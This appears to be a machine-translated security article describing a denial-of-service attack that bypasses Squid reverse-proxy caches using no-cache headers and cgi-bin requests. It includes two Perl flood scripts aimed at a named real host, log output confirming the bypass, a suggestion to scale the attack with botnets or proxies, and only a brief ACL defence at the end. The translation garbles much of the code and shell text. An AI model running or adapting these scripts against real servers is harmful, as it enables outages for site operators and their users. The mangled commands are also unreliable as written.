Attack using HTTP commands-Cache (including defense methods)

Technical Background

As Web technologies become more and more widely used in our lives, Web application architecture designers and developers have to deal with such a problem, that is, the increasing Web Access volume and load, technologies related to performance improvement have emerged, such as DNS round robin, Server Load balancer, and Cache technologies. If you are interested, you may wish to capture packets for large websites. You can find that many websites use squid reverse proxy to provide high-speed Web response through Squid Cache.

Attack principles

The Cache mechanism not only improves the server processing performance to a great extent, but also greatly improves the capability of Web service providers to cope with Get Flood.

Most of users' access to the website is shared by distributed Cache servers. Due to the number of Cache servers and the high processing throughput of the Cache, even if a Get Flood attack occurs, this mechanism can also well digest the attack load, and even if a single Cache host crashes, it will not affect the overall Web service.

We can assume that, in this situation, attackers can pass through the Cache and directly transmit the load pressure to the backend servers that provide HTTP Services, paralyzing this machine's attacks, the front-end server will also be affected because the Cache cannot be updated, achieving the DoS effect.

Is there a way to achieve the above results? The answer is yes, that is, the attack is achieved through HTTP instructions.

The HTTP protocol (v1.1 and v1.0) provides Cache processing fields, in which the field Cache-Control (Pragma in v1.0). When the value of this field is no-cache, most cache software will not respond to the request, but directly pass the request to the backend server. With this command mechanism, we can achieve the attack effect we want.

Effect verification

To verify this theoretical form of attack, Coolc sets up a simple application environment for verification.

Normal access

Under normal circumstances, Squid will process all requests in the memory Cache. It can be found that the pressure of most requests cannot reach Apache, but it is directly digested by Squid. As shown below, only one of the 500 requests reaches Apache, and this access is only caused by Squid to pull the initial file content to Apache.

 

Root @ coolc :~ /Squid-2.5.STABLE12 # cat apache-host.example.com-access_log | wc-l 1 root @ coolc :~ /Squid-2.5.STABLE12 # cat squid_access.log | awk '{print $4'} | uniq-c 499 TCP_MEM_HIT/200

Command Bypass

When Squid processes the access, if it finds a special flag, it will forward the request directly to the backend. In the access log, the colleague will remember it as a TCP_CLIENT_REFRESH_MISS. Through the following experiment, I sent 500 HTTP requests with special flag, directly crossed the Cache, and loaded the pressure directly to the background. The following results verify the effect.

 

Use Pragma: no-cache to bypass root @ coolc :~ /Squid-2.5.STABLE12 # cat apache-host.example.com-access_log | wc-l 500 root @ coolc :~ /Squid-2.5.STABLE12 # cat squid_access.log | awk '{print $4'} | uniq-c 500 TCP_CLIENT_REFRESH_MISS/200 use Cache-Control: no-cache to bypass root @ coolc :~ /Squid-2.5.STABLE12 # cat apache-host.example.com-access_log | wc-l 500 root @ coolc :~ /Squid-2.5.STABLE12 # cat squid_access.log | awk '{print $4'} | uniq-c 500 TCP_CLIENT_REFRESH_MISS/200

DEMO code:

 

 

Use IO: Socket; # $ host = shift (@ ARGV); $ I = 1; while ($ I <500) {$ I ++; print "\ n $ I \ n"; $ remote = IO: Socket: INET-> new (Proto => "tcp", PeerPort => "80 ", # PeerAddr => "blog.xfocus.net" PeerAddr => "test.qq.com") | die (print "cant't connet $! "); $ Remote-> autoflush (1); print $ remote" GET/index.html HTTP/1.1 \ r \ nAccept: image/gif image/x-xbitmap, image/jpeg, application/x-shockwave-flash \ r \ nReferer: http://www.google.com \ r \ nAccept:-Language: zh-cn \ r \ nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; SV1 ;. net clr 1.1.4322 ;. net clr 2.0.50727; InfoPath.1) \ r \ nCache-Control: no-cache \ r \ nHOST: test.qq.com \ n "; # print <$ remote>; close $ remote; # sleep 1 ;}

Practical Application

Configuration problems

In actual application attacks, the network administrator may use the Squid ACL method to block such attacks. However, the attack types and methods in the actual environment are more diverse, for example, the default configuration of Squid can be used in a smart manner and concealed.

In this scenario, a network administrator performs no-cache filtering on the Squid through ACL, so that the no-cahce command cannot be passed through, but it is also vulnerable to Cache denial-of-service attacks.

Attack principles

When the Squid processing method returns 404 and 403, it reduces the burden on the background Web system through cache processing.

The program uses the get formula to upload times of files that do not exist, including index.html ."

Query squid logs, and cache the vast majority of requests.

 

Root @ coolc :~ /Squid-2.5.STABLE12 # cat squid_access.log | wc-l 499 root @ coolc :~ /Squid-2.5.STABLE12 # cat squid_access.log | awk '{print $4'} | uniq-c 499 TCP_NEGATIVE_HIT/404 root @ coolc :~ /Squid-2.5.STABLE12 # cat apache-access_log | wc-l 0

In fact, the pressure uploaded to Apache is 0, that is, almost no pressure. TCP_NEGATIVE_HIT solves most of the load, resulting in no attack pressure on the backend Web server.

From the Squid configuration file, we can see that Squid also processes the returned Special errors and caches them.

 

# TAG: negative_ttl time-units # Time-to-Live (TTL) for failed requests. certain types of # failures (such as "connection refused" and "404 Not Found") are # negatively-cached for a retriable amount of time. the # default is 5 minutes. note that this is different from # negative caching of DNS lookups.

 

Is there a way to bypass the cache mechanism and ACL restrictions to apply a 404-level pressure to the server? The answer is yes, that is, access the files in the cgi-bin directory.

 

By executing the attack code, we also implemented attacks on the background host and penetrated the Cache.

 

Root @ coolc :~ /Squid-2.5.STABLE12 # cat squid_access.log | awk '{print $4'} | uniq-c 499 TCP_MISS/404 root @ coolc :~ Squid-2.5.STABLE12 # cat apache-access_log | wc-l 499

The following traces can be found in logs.

 

172.16.10.1--[08/Apr/2006: 16: 33: 50-0800] "GET/cgi-bin/index.html 1 HTTP/1.0" 404 298 172.16.10.1--[08/Apr/2006: 16: 33: 50-0800] "GET/cgi-bin/index.html 1 HTTP/1.0" 404 298 172.16.10.1--[08/Apr/2006: 16: 33: 50-0800] "GET/cgi-bin/index.html 1 HTTP/1.0" 404 298 172.16.10.1--[08/Apr/2006: 16: 33: 50-0800] "GET/cgi-bin/index.html 1 HTTP/1.0" 404 298

 

In fact, this is because the cgi-bin directory is specially processed in the default configuration, which causes the Cache restriction to be released.

 

 

# TAG: hierarchy_stoplist # A list of words which, if found in a URL, cause the object to # be handled directly by this cache. in other words, use this # to not query neighbor caches for certain objects. you may # list this option multiple times. note: never_direct overrides # this option. # We recommend you to use at least the following line. hierarchy_stoplist cgi-bin? # TAG: no_cache # A list of ACL elements which, if matched, cause the request to # not be satisfied from the cache and the reply to not be cached. # In other words, use this to force certain objects to never be cached. # You must use the word 'deny' to indicate the ACL names which shoshould # NOT be cached. # We recommend you to use the following two lines. acl QUERY urlpath_regex cgi-bin \? No_cache deny QUERY

 

Attack code:

 

Use IO: Socket; # $ host = shift (@ ARGV); $ I = 1; while ($ I <500) {$ I ++; print "\ n $ I \ n"; $ remote = IO: Socket: INET-> new (Proto => "tcp", PeerPort => "80 ", # PeerAddr => "blog.xfocus.net" PeerAddr => "test.qq.com") | die (print "cant't connet $! "); $ Remote-> autoflush (1); print $ remote" GET/cgi-bin/index.html 1 HTTP/1.1 \ r \ nAccept: image/gif image/x-xbitmap, image/jpeg, application/x-shockwave-flash \ r \ nReferer: http://www.google.com \ r \ nAccept:-Language: zh-cn \ r \ nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1 ;. net clr 1.1.4322 ;. net clr 2.0.50727; InfoPath.1) \ r \ nHOST: test.qq.com \ n "; # print <$ remote>; close $ remote; # sleep 1 ;}

 

Extended thinking

Of course, the current attack method is only a theoretical attack, such as attacking a single thread of code, and attacking IP addresses and features are obvious. It is easy to be identified and used for ACL filtering. However, when we expand our thinking, if we use a large number of botnet or proxies to change the accessed file and HTTP instruction content for attacks, the attacks will be more powerful, and difficult to identify. At the same time, because the attack is directly loaded into the background, the host resource advantages of the Defender are also greatly reduced.

Defense methods

The simplest and most effective method is to disable the no-cache command by loading the ACL through the SQUID configuration. However, this method is usually easier to implement only on servers on static pages.

For example:

 

Acl LocalServers dst 192.168.8.0/24 no_cache deny LocalServers

Summary

In fact, HTTP command attacks are not only the same as HTTP protocol extension commands. For this attack, although Coolc hasn't seen any descriptions yet, however, I personally feel that these ideas have already appeared in underground organizations, and even mature tools have been available. coolc is all about here, I hope that colleagues interested in network security can contact me to discuss the research.